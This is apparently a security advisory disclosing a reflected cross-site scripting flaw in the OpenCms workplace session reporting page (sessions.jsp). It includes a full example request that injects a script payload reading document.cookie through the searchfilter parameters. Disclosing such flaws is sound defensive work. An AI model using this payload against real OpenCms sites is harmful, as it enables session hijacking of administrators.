Product: Alkacon OpenCms   
http://www.opencms.org/  
  
  
OpenCms contains a cross-site scripting vulnerability in the active session reporting function. Input to parameter searchfilter in page opencms/system/workplace/admin/workplace/sessions.jsp is not sufficiently validated and/or sanitized before it gets embedded in the resulting web page.  
  
Example:  
http://(target)/opencms/system/workplace/admin/workplace/sessions.jsp?  
ispopup=&action=listsearch&framename=&title=  
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace  
&preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitems=  
&formname=ls-form&sortcol=&originalparams=&page=&style=new&root=  
&path=%252Fworkplace%252Fbroadcast&redirect=  
&searchfilter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E  
&listSearchFilter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
